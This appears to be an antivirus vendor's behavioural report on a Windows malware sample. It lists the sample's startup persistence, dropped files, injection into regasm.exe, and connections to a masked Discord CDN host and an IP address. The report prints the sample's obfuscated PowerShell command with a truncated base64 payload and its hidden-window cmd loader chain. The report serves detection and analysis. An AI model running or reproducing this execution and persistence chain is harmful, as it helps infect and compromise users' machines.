Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\dmxagdwrqp.url
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c PO^w^eRS^he^LL -e WwBzAHkAUwBUAGUATQAuAHQAZQB4AHQALgBlAE4AYwBvAGQASQBuAEcAXQA6ADoAdQBOAGkAYwBPAGQARQAuAGcARQB0AHMAdAByAGkAbgBnACgAWwBzAHkAcwBUAGUATQAuAGMATwBuAHYAZQByAFQAXQA6ADoAZgByAG8ATQBi...
Injects code into
the following user processes:
- regasm.exe
Modifies file system
Creates the following files
- %TEMP%\bit7cbd.tmp
- %TEMP%\7zipsfx.000\chiamasti.wmz
- %TEMP%\7zipsfx.000\cubi.wmz
- %TEMP%\7zipsfx.000\perpetuato.wmz
- %TEMP%\7zipsfx.000\piu.wmz
- %TEMP%\7zipsfx.000\volge.exe.com
- %TEMP%\7zipsfx.000\s
- %APPDATA%\wcalvbuhkw\x
- %APPDATA%\wcalvbuhkw\dmxagdwrqp.exe.com
- %APPDATA%\wcalvbuhkw\chiamasti.wmz
- %APPDATA%\wcalvbuhkw\nydqkxpo.js
- %TEMP%\7zipsfx.000\regasm.exe
Sets the 'hidden' attribute to the following files
- %TEMP%\bit7cbd.tmp
Deletes the following files
- %TEMP%\7zipsfx.000\s
- %TEMP%\7zipsfx.000\chiamasti.wmz
Moves the following files
- from %TEMP%\bit7cbd.tmp to %TEMP%\dkfnwy.exe
Network activity
Connects to
- 'cd#.##scordapp.com':443
- '91.##2.78.27':228
TCP
Other
- 'cd#.##scordapp.com':443
- '91.##2.78.27':228
UDP
- DNS ASK cd#.##scordapp.com
- DNS ASK wF########sHgRoQE.wFnNEmjnvGsHgRoQE
Miscellaneous
Searches for the following windows
- ClassName: '#32770' WindowName: 'uaLNnTcyWwVpuwi0eFGYzdsnC3NVvy3suJD'
Creates and executes the following
- '%TEMP%\dkfnwy.exe'
- '%TEMP%\7zipsfx.000\volge.exe.com' s
- '%TEMP%\7zipsfx.000\regasm.exe'
- '<SYSTEM32>\cmd.exe' /c PO^w^eRS^he^LL -e WwBzAHkAUwBUAGUATQAuAHQAZQB4AHQALgBlAE4AYwBvAGQASQBuAEcAXQA6ADoAdQBOAGkAYwBPAGQARQAuAGcARQB0AHMAdAByAGkAbgBnACgAWwBzAHkAcwBUAGUATQAuAGMATwBuAHYAZQByAFQAXQA6ADoAZgByAG8ATQBi...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c cmd < Cubi.wmz' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e WwBzAHkAUwBUAGUATQAuAHQAZQB4AHQALgBlAE4AYwBvAGQASQBuAEcAXQA6ADoAdQBOAGkAYwBPAGQARQAuAGcARQB0AHMAdAByAGkAbgBnACgAWwBzAHkAcwBUAGUATQAuAGMATwBuAHYAZQByAFQAXQA6ADoAZgByAG8ATQBiAGEAcwBlADYANABzAH...
- '%WINDIR%\syswow64\dllhost.exe'
- '%WINDIR%\syswow64\cmd.exe' /c cmd < Cubi.wmz
- '%WINDIR%\syswow64\cmd.exe'
- '%WINDIR%\syswow64\findstr.exe' /V /R "^RnGNPTIKiPjBCIuFMihsBcpXwfNtrAJiYYsWRZHRnwcIaaqVuydxuqwcfIMAyDHGutCDdlNMmcSmqBFJfSYXpgwYXWGohiMVzOChPvFVaEVKoBcNrelhFK$" Perpetuato.wmz
- '%WINDIR%\syswow64\ping.exe' localhost -n 30
